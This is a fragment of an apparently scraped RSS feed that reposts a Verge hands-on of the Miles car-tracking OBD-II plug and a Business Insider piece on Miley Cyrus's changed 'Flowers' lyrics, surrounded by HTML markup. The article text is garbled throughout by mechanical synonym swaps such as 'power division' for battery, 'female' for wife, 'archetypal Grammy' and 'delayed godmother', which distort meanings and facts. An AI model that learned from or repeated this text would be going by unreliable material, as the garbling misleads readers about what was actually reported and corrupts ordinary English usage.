https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6235.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400"></a></p></div></div><p><figcaption><em>The Miles is extremely small and plant alongside most gas and hybrid cars made in 2008 or later.</em></figcaption></p></div></div></div><p>I set up Miles in my 2014 Toyota Highlander I nicknamed Tanya and have been using it for a brace of days. Setup was simple, and the app is clean, uncluttered, and uncomplicated to follow. It took me through a few setup screens, including asking to portion my phone&rsquo;s location to relay data from the Plug complete Bluetooth whenever division assistance is spotty. I plugged it into my OBD-II port, and it peruse my VIN and correctly identified my car.</p><p>It logs all trip alongside route, distance, time, and controller initials (I haven&rsquo;t had my female download the app yet; I&rsquo;m curious to see whose phones it connects to whenever we&rsquo;re the two in the car). Arrived- and left-home alerts came through promptly, and the events tab flagged difficult acceleration and a collection of three hard-braking alerts whenever I was operating a small delayed to collect my female from work.</p><div><div><div><p><strong>1/4</strong><span><figcaption><em>This is a demo display of a car in the Miles app. </em></figcaption></span></p></div></div></div><p>I akin the residence card, which shows a conveyance health summary: motor OK, energy 63%, power division 13.5V, and the odometer reading. I played alongside the Miles Mechanic chatbot and asked how my car is and what upcoming care is due; it answered in plain English, telling me the division air display is due at concerning 140,000 miles, and the oil alter and tire rotation at 142,500.</p><div><div><div><div id=":Re0mpjmlmn6:"><p><a href="https://en.mycoding.id/category/technology" target="_blank" data-pswp-height="2868" data-pswp-width="1320" target="_blank" rel="noreferrer"><img alt="&lt;em&gt;The Control Center lets you see and oversee your data.&lt;/em&gt;" data-chromatic="ignore" loading="lazy" decoding="async" data-nimg="fill" sizes=" 1023px) 100vw, 744px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0557.png?quality=90&amp;strip=all&amp;w=2400"></a></p><p><a href="https://en.mycoding.id/category/technology" target="_blank" data-pswp-height="2868" data-pswp-width="1320" target="_blank" rel="noreferrer"><img alt="&lt;em&gt;Miles Mechanic is an AI chatbot that answers questions concerning your car’s data.&lt;/em&gt;" data-chromatic="ignore" loading="lazy" decoding="async" data-nimg="fill" sizes=" 1023px) 100vw, 744px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/IMG_0556.png?quality=90&amp;strip=all&amp;w=2400"></a></p></div><p><strong>1/2</strong><span><figcaption><em>The Control Center lets you see and oversee your data.</em></figcaption></span></p></div></div></div><p>I haven&rsquo;t been evaluation it lengthy adequate to comment on power division drain, an matter alongside before products in this space. &ldquo;It goes to sleep whenever your car is not driving or not on,&rdquo; says McGovren. &ldquo;We use a small bit of data to awaken up and sync, but [that] doesn&rsquo;t have a matter effect on the battery.&rdquo; He advises removing it if you won&rsquo;t be driving the car for a while.</p><div><div><div><div class=""><div><p><a href="https://en.mycoding.id/category/technology" target="_blank" data-pswp-height="3840" data-pswp-width="5760" target="_blank" rel="noreferrer"><img alt="" data-chromatic="ignore" loading="lazy" decoding="async" data-nimg="fill" sizes=" 1023px) 50vw, 700px" srcset="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=256 256w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=376 376w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=384 384w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=415 415w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=480 480w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=540 540w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=640 640w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=750 750w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=828 828w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1080 1080w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1200 1200w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1440 1440w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=1920 1920w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2048 2048w, https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400 2400w" src="https://platform.theverge.com/wp-content/uploads/sites/2/2026/10/LR6B6260.jpeg?quality=90&amp;strip=all&amp;crop=0%2C0%2C100%2C100&amp;w=2400"></a></p></div></div></div></div></div><p>Beyond car power division life, an apparent involvement for prospective users is how lengthy Miles the business volition last. Startup Automatic had a akin idea rear in 2016, launching the <a href="https://en.mycoding.id/category/technology" target="_blank">Automatic Pro for $130</a> that plugged into your OBD-II port, tracked mileage and location, and monitored for crashes complete a 3G radio. The assistance <a href="https://en.mycoding.id/category/technology" target="_blank">shut downward in 2020</a>. Miles is basically Automatic but alongside a endeavor model; Automatic didn&rsquo;t initially accusation a monthly fee, Miles does.</p><p>McGovren says he and his squad have seen a lot of &ldquo;scar tissue from the astute home,&rdquo; alongside companies that &ldquo;thought they could create prosperity later.&rdquo; Both founders were at Wink during its <a href="https://en.mycoding.id/category/technology" target="_blank">outage, bankruptcy, and eventual sale</a> to will.i.am&rsquo;s company. Charging for affiliation upfront is meant to evade that category of outcome. He says the business is &ldquo;well capitalized&rdquo; and offers a 60-day money-back justify to users.</p><div><div><p>The car becomes part of this bigger ecosystem. We aren&rsquo;t fair trying to tie you into our app.</p><p><cite>&mdash; Matt McGovren</cite></p></div></div><p>Automatic additionally had multiple smart-home tie-ins, but at initiate Miles doesn&rsquo;t nexus to your astute home. McGovren says they have an MCP server in beta that could provision &ldquo;all of this data &hellip; to your AI of choice, your residence aide of choice,&rdquo; he says. &ldquo;And now the car becomes part of this bigger ecosystem. We aren&rsquo;t fair trying to tie you into our app.&rdquo; He envisions a forthcoming anywhere you own your car&rsquo;s data and can nexus it to any assistance you want, and be capable to ask Alexa, Siri, or Google, &ldquo;When&rsquo;s my next oil change?&rdquo; or &ldquo;How much gas is in my car?&rdquo;</p><p>Miles is thrown as a resolution for monitoring your adolescent driver, including notifications of imaginable crashes and risky driving, without additionally having to detect their phone. But it additionally feels akin a fine resolution for anyone alongside an older car or who doesn&rsquo;t desire to depend on data-tracking apps from coverage companies or car manufacturers but wants uncomplicated admission to their car&rsquo;s data. I scheme to test it additional thoroughly, hopefully try out the MCP integration, and prosecute up alongside a complete review.</p><p><em>Photography and screenshots by Jennifer Pattison Tuohy / The Verge</em></p><div><p><span><strong>Follow topics and authors</strong> from this narrative to see additional akin this in your personalized homepage nourish and to obtain email updates.</span></p><ul><li id="follow-author-article_footer-dmcyOmF1dGhvclByb2ZpbGU6MTQy"><span aria-expanded="false" aria-haspopup="true" role="button" tabindex="0"><span><span><svg width="9" height="9" viewbox="0 0 9 9" fill="none" xmlns="http://www.w3.org/2000/svg" aria-label="Follow"><path d="M5 0H4V4H0V5H4V9H5V5H9V4H5V0Z"></path></svg></span><span>Jennifer Pattison Tuohy</span></span></span></li><li><li><li><li><li></ul></div></div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/i-tried-a-99-plug-that-promises-to-track-your-car-and-send-help-when-needed-without-selling-your-data-73222</guid> <pubDate>Mon, 19 Oct 2026 22:00:17 +0700</pubDate> <author><![CDATA[support@mycoding.id (Jennifer Pattison Tuohy)]]></author> </item> <item> <title><![CDATA[3 years after releasing "Flowers," Miley Cyrus sang new lyrics at the Hollywood Bowl. Here are the song's rumored Liam Hemsworth references.]]></title> <description><![CDATA[3 years after releasing "Flowers," Miley Cyrus sang new lyrics at the Hollywood Bowl. Here are the song's rumored Liam Hemsworth references.. During her sold-out shows at the Hollywood Bowl in October, Miley Cyrus changed the lyrics of an integral part of her hit song, &quot;Flowers.&quot;]]></description> <media:thumbnail url="https://i.insider.com/6ad67d9c2428f6b455813d60?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> <link>https://en.mycoding.id/3-years-after-releasing-flowers-miley-cyrus-sang-new-lyrics-at-the-hollywood-bowl-here-are-the-song-s-rumored-liam-hemsworth-references-73218</link> <content:encoded><![CDATA[<div e-name="post-hero" data-component-type="post-hero" data-load-strategy="exclude"> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject"> <div> <p><img src="https://i.insider.com/6ad67d7d2428f6b455813d5e?width=1300&amp;format=jpeg&amp;auto=webp" srcset="https://i.insider.com/6ad67d7d2428f6b455813d5e?width=400&amp;format=jpeg&amp;auto=webp 400w, https://i.insider.com/6ad67d7d2428f6b455813d5e?width=500&amp;format=jpeg&amp;auto=webp 500w, https://i.insider.com/6ad67d7d2428f6b455813d5e?width=700&amp;format=jpeg&amp;auto=webp 700w, https://i.insider.com/6ad67d7d2428f6b455813d5e?width=1000&amp;format=jpeg&amp;auto=webp 1000w, https://i.insider.com/6ad67d7d2428f6b455813d5e?width=1300&amp;format=jpeg&amp;auto=webp 1300w" sizes=" 1280px) 900px" alt="Miley cyrus at Hollywood Bowl stitched alongside her and Liam." decoding="sync"> </p></div> <span> <span> <svg aria-hidden="true" focusable="false" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" viewbox="0 0 24 24"> <path fill="currentColor" fill-rule="evenodd" d="m4.56 18.5 7.486-7.72 7.394 7.626 2.56-2.64L12.046 5.5 2 15.86l2.56 2.64Z"></path> </svg> <figcaption e-name="image-caption"> <span>Miley Cyrus ad-libbed lyrics for her hit sole "Flowers" following marketing out the Hollywood Bowl.</span> <span> <span e-name="image-source" itemprop="creditText">Kevin Mazur/Getty Images for Live Nation, Presley Ann/WireImage via Getty Images</span> </span> </figcaption> </span> </span> </figure> </div> <div data-component-type="image-modal" data-load-strategy="lazy"> <p>After marketing out a two-night residency at the Hollywood Bowl in October, Miley Cyrus changed the lyrics of an integral part of her hit song, "Flowers."</p><p>She ad-libbed concerning marketing out the iconic venue before the chorus: "Started to cry, but afterward remembered I sold out the Hollywood Bowl!"</p><p>She added akin lyrics to "Flowers" in 2024 whenever she performed it following winning her archetypal Grammy.</p><p>The ad-lib now seems to be a way for Cyrus to commemorate her wins, and fans have suggested since its publish in 2023 that the opus was written as a diss track against her ex-husband, Liam Hemsworth. The two wed in 2018 and divided a twelvemonth later.</p><p>Representatives for Hemsworth did not immediately react to a petition for comment.</p><p>Here are the Easter eggs you may have missed in "Flowers."</p> <div data-component-type="post-slides" data-load-strategy="lazy"> <div> <h2>Miley Cyrus released her sole "Flowers" in 2023 &mdash; and many fans think the opus takes aim at her ex-husband Liam Hemsworth.</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/png" data-srcs='//i.insider.com/63c3fae5bcd21800196b72c9&quot;:{&quot;contentType&quot;:&quot;image/png&quot;,&quot;aspectRatioW&quot;:1407,&quot;aspectRatioH&quot;:1055}}' alt='Miley Cyrus in the YouTube video for &quot;Flowers.&quot;'> </p></div> <span> <figcaption e-name="image-caption"> <span>Fans think "Flowers" is a dig at Hemsworth.</span> <span> <span e-name="image-source" itemprop="creditText">Miley Cyrus/YouTube</span> </span> </figcaption> </span> </figure> <div> <p>As Business Insider <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">previously reported</a>, Cyrus and Hemsworth met on the set of "The Last Song," which was released in 2010, and dated on and off for multiple years. The brace wed in 2018 and divided a twelvemonth later. The divided was finalized in January 2020.</p><p>While Cyrus hasn't confirmed that "Flowers" is concerning her association alongside Hemsworth, the single's publish date, lyrics, and another hidden particulars recommendation a few clues to the song's meaning.</p> </div> </div> <div> <h2>The opus was released on Liam Hemsworth's birthday.</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/63c2f989b4171f001957e919&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:4949,&quot;aspectRatioH&quot;:3712}}' alt="Liam Hemsworth Miley Cyrus"> </p></div> <span> <figcaption e-name="image-caption"> <span>Liam Hemsworth and Miley Cyrus attended the "Avengers: Endgame" premiere.</span> <span> <span e-name="image-source" itemprop="creditText">VALERIE MACON / Getty Images</span> </span> </figcaption> </span> </figure> <div> <p>The buzz about "Flowers" began whenever fans noticed its publish date.</p><p>The sole dropped on January 13 &mdash; Hemsworth's 33rd anniversary &mdash; a item that was not misplaced on Cyrus' fans.&nbsp;</p><div id="1792432352460" data-styles="default-width" data-embed-type="custom" data-script="https://platform.x.com/widgets.js" data-type="embed"><blockquote><p lang="en" dir="ltr">Miley&rsquo;s telling the earth she can affection herself improved ON LIAM&rsquo;S BIRTHDAY?! she certainly didn&rsquo;t lie whenever she stated she&rsquo;s got nerve https://t.co/Pp7fi5yuqa</p>&mdash; &#119945;&#119938;&#119949;&#119942;&#119956; (@mileywrld) <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow" target="_blank">January 1, 2023</a></blockquote> </div><p>"She certainly didn't lie whenever she stated she's got nerve," one person tweeted.&nbsp;</p> </div> </div> <div> <h2>Many fans think "Flowers" resembles Bruno Mars' song, "When I Was Your Man."</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/63c30d5ab4171f001957ea14&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:3273,&quot;aspectRatioH&quot;:2455}}' alt="miley cyrus liam hemsworth"> </p></div> <span> <span e-name="image-source" itemprop="creditText">Theo Wargo/Getty Images</span> </span> </figure> <div> <p>In "When I Was Your Man," Mars sings that he wishes he <em>"</em>bought you flowers, and held your hand."</p><p>Although Mars isn't credited as a songwriter on "Flowers," Cyrus sings "I can buy myself flowers," and "I can clasp my own hand" in a akin tune to Mars' hit.&nbsp;</p><p>According to Billboard, <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">some fans have speculated </a>that Hemsworth dedicated Mars' opus to Cyrus during their archetypal involvement &mdash; although those theories are unconfirmed.</p> </div> </div> <div> <h2>The song's beginning verse could mention to the 2018 Woolsey Fire.</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/63c30d9ebcd21800196b6ca9&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:2826,&quot;aspectRatioH&quot;:2120}}' alt="miley cyrus liam hemsworth"> </p></div> <span> <span e-name="image-source" itemprop="creditText">Chris Pizzello/Invision/AP</span> </span> </figure> <div> <p>"We were good, we were gold/ Kind of aspiration that can't be sold/ We were correct till we weren't/ Built a residence and watched it burn," Cyrus sings in the beginning verse.&nbsp;</p><p>According to <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">Us Weekly</a>, the blaze metaphor could be referring to the residence Cyrus shared alongside Hemsworth, which burned downward during the 2018 Woolsey Fire.</p><div id="1792432352460" data-styles="default-width" data-embed-type="custom" data-script="https://platform.x.com/widgets.js" data-type="embed"><blockquote><p lang="en" dir="ltr">It&rsquo;s been a heartbreaking few days. This is what&rsquo;s remaining of my house. Love. Many group in Malibu and surrounding areas in California have misplaced their homes additionally and my bosom goes out to everyone who was affected by these fires. To help: https://t.co/YQCE1cLaej &amp;amp; @happyhippiefdn https://t.co/vtLFytFmNw</p>&mdash; Liam Hemsworth (@LiamHemsworth) <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow" target="_blank">November 13, 2018</a></blockquote> </div><p>Cyrus <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;bi_value_unassigned&quot;}' rel="">has said</a> that the defeat of the couple's Malibu residence is partially what led her and Hemsworth to get married.&nbsp;</p> </div> </div> <div> <h2>Some fans have drawn comparisons between a clip from the song's music video and a former red-carpet moment.</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/63c41f12bcd21800196b73b0&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:4251,&quot;aspectRatioH&quot;:3188}}' alt="liam hemsworth miley cyrus"> </p></div> <span> <span e-name="image-source" itemprop="creditText">Evan Agostini/Invision/AP</span> </span> </figure> <div> <p>In 2019, during attending the Vanity Fair Oscars party, an Access Hollywood newsman asked Cyrus and Hemsworth <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">what a dancing figure would look</a> akin between the couple.</p><div id="1792432352460" data-styles="default-width" data-embed-type="custom" data-script="https://platform.x.com/widgets.js" data-type="embed"><blockquote><p lang="en" dir="ltr">WAIT A MINUTE https://t.co/YA76DVsz7T</p>&mdash; out of environment hannah montana (@OCHannahMontana) <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow" target="_blank">January 4, 2023</a></blockquote> </div><p>When Cyrus began dancing on Hemsworth, her then-husband, he close it down, saying, "We're not doing this. Not on the carpet."</p><p>One Twitter person <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">put that video</a> flank by flank alongside a promotional clip Cyrus posted on the platform, in which she appears to do a akin dancing move &mdash; during the lyrics "I can affection me better" perform in the background.</p> </div> </div> <div> <h2>In October 2026, Cyrus changed the lyrics to "Flowers" and performed it at the Hollywood Bowl.</h2> <figure data-type="img" e-name="image-figure-image" data-media-container="image" itemscope itemtype="https://schema.org/ImageObject" role="button" tabindex="0" aria-label="Click to open depiction in exhibition view"> <div> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-content-type="image/jpeg" data-srcs='//i.insider.com/6ad651b0adb77227909a7013&quot;:{&quot;contentType&quot;:&quot;image/jpeg&quot;,&quot;aspectRatioW&quot;:5000,&quot;aspectRatioH&quot;:3625}}' alt="A female performs at a concert."> </p></div> <span> <span e-name="image-source" itemprop="creditText">Kevin Mazur/Getty Images for Live Nation</span> </span> </figure> <div> <p>After marketing out shows at the Hollywood Bowl in October 2026, Cyrus changed the pre-chorus lyrics to "Flowers."</p><p>In the first version, Cyrus sings: "I didn't wanna depart you/I didn't wanna fight/Started to cry, but afterward remembered I," before belting out the chorus.</p><p>This former weekend, however, Cyrus changed that to: "I didn't wanna depart you (but I had to)/I didn't wanna combat (but we did)/Started to cry, but afterward remembered I sold out the Hollywood Bowl."</p><p>Cyrus has ad-libbed her hit sole before: At the 2024 Grammys, she sang, "Started to cry, but afterward remembered I fair won my archetypal Grammy!"</p><p>Fans <a href="https://en.mycoding.id/category/business" target="_blank" data-track-click='&quot;outbound_click&quot;}' rel=" nofollow">took to social media</a> to applaud Cyrus' lyric change, alongside one YouTube commenter saying they "love how she's filling it in alongside distinct achievements."</p><p>Cyrus additionally paid tribute to Dolly Parton, her delayed godmother, during the concert, breaking downward in tears as she recalled memories of Parton. Cyrus afterward performed Parton's hit opus "Jolene."</p><p><em>Editor's Note: This narrative was initially published in January 2023 and was most lately updated in October 2026.</em></p> </div> </div> </div> </div> <h2>Read next</h2> <div data-recommendations-content data-track-click-shared='&quot;Read next&quot;}'> <div e-name="read-next-list" data-recommendations-list> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> <span> <p><img src="image/svg+xml,%3Csvg%20xmlns=&#039;http://www.w3.org/2000/svg&#039;%20viewBox=&#039;0%200%201%201&#039;%3E%3C/svg%3E" data-src="/public/assets/logos/placeholder.png" alt=""> </p> </span> <h3> <span>Business Insider tells the innovative stories you desire to know</span> </h3> </div> </div> <a e-name="read-next-image-link" data-recommendations-image-link data-recommendations-link tabindex="-1"> <p><img alt=""> </p> </a> <h3> <a e-name="read-next-title-link" data-recommendations-link data-recommendations-title></a> </h3> <div data-component-type="post-bottom-authors" data-load-strategy="exclude" data-track-view='&quot;module_in_view&quot;}' data-track-click-shared='&quot;navigation&quot;}'> <div data-track-view='&quot;module_in_view&quot;}'> <div> <p><span>Jordan Parker Erb was a newsletter publishing company at Business Insider. In her period at BI, she wrote from Thailand, Switzerland, Montreal, Edinburgh, and Paris.</span><span>She holds a master's flat in Journalism and Media Innovation from Northeastern University in Boston. Previously, she's worked alongside the Indianapolis Star, the Austin American-Statesman, and has written for The Boston Globe.</span> </p> </div> </div> <div> <div> <p><span>Tristin Hoffman is a Life Fellow on Business Insider&rsquo;s Editorial Partnerships team.&nbsp;</span><span>Her reporting focuses on retail, travel, business, and additional through a ocular storytelling and manner lens.&nbsp;</span><span>She has earlier reported on Oregon&rsquo;s economics for The Oregonian and Pennsylvania litigation for Law.com. Her stories have inspired guideline changes, shed ray on community officials&rsquo; misconduct, and gained national awards. &nbsp;</span><span>She graduated from the University of Oregon, anywhere she studied reporting and law during serving as editor-in-chief of The Daily Emerald.&nbsp;</span> </p> </div> </div> </div>]]></content:encoded> <guid isPermaLink="true">https://en.mycoding.id/3-years-after-releasing-flowers-miley-cyrus-sang-new-lyrics-at-the-hollywood-bowl-here-are-the-song-s-rumored-liam-hemsworth-references-73218</guid> <pubDate>Mon, 19 Oct 2026 21:45:59 +0700</pubDate> <author><![CDATA[support@mycoding.id (Jordan Parker Erb,Tristin Hoffman)]]></author> </item> <item> <title><![CDATA[The reporter who exposed Elizabeth Holmes' fraud responds to people who say he's 'missing the point of the film']]></title> <description><![CDATA[The reporter who exposed Elizabeth Holmes' fraud responds to people who say he's 'missing the point of the film'. &quot;The movie is a awesome part of art, but let's not confuse that art alongside the underlying facts,&quot; John Carreyrou told Business Insider.]]></description> <media:thumbnail url="https://i.insider.com/6ad659cdadb77227909a707a?width=1200&amp;format=jpeg"/> <category><![CDATA[Business]]></category> 